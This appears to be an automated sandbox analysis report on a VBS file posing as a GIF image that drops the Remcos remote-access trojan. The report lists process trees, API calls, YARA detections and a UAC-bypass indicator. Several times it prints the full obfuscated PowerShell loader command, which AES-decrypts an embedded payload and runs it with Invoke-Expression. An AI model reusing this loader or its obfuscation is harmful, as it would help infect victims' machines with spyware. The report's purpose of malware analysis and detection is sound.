hd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,

4_2_004167B4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043E0CC	4_2_0043E0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041F0FA	4_2_0041F0FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00454159	4_2_00454159
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00438168	4_2_00438168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004461F0	4_2_004461F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043E2FB	4_2_0043E2FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0045332B	4_2_0045332B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0042739D	4_2_0042739D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004374E6	4_2_004374E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043E558	4_2_0043E558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00438770	4_2_00438770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004378FE	4_2_004378FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00433946	4_2_00433946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044D9C9	4_2_0044D9C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00427A46	4_2_00427A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041DB62	4_2_0041DB62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00427BAF	4_2_00427BAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00437D33	4_2_00437D33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00435E5E	4_2_00435E5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00426E0E	4_2_00426E0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043DE9D	4_2_0043DE9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00413FCA	4_2_00413FCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00436FEA	4_2_00436FEA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434E10 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00402093 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434770 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00401E65 appears 34 times

Source: createactiveimagesbeautygirlfrnd.gIF.vbs

Initial sample: Strings found which are bigger than 50

Source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 2.2.powershell.exe.246346ad908.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 2.2.powershell.exe.246346ad908.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 2.2.powershell.exe.246346ad908.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 2.2.powershell.exe.246346ad908.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 2.2.powershell.exe.246346ad908.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 2.2.powershell.exe.246346ad908.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000002.00000002.1328673356.00000246335CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000002.00000002.1328673356.00000246343D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 3092, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 3092, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: RegAsm.exe PID: 6048, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winVBS@6/4@2/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

4_2_00417952

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

4_2_0040F474

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,

4_2_0041B4A8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

4_2_0041AA4A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\json[1].json

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-R2I0JW
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4244:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fig4okvo.32s.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\createactiveimagesbeautygirlfrnd.gIF.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: createactiveimagesbeautygirlfrnd.gIF.vbs

Virustotal: Detection: 12%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\createactiveimagesbeautygirlfrnd.gIF.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption 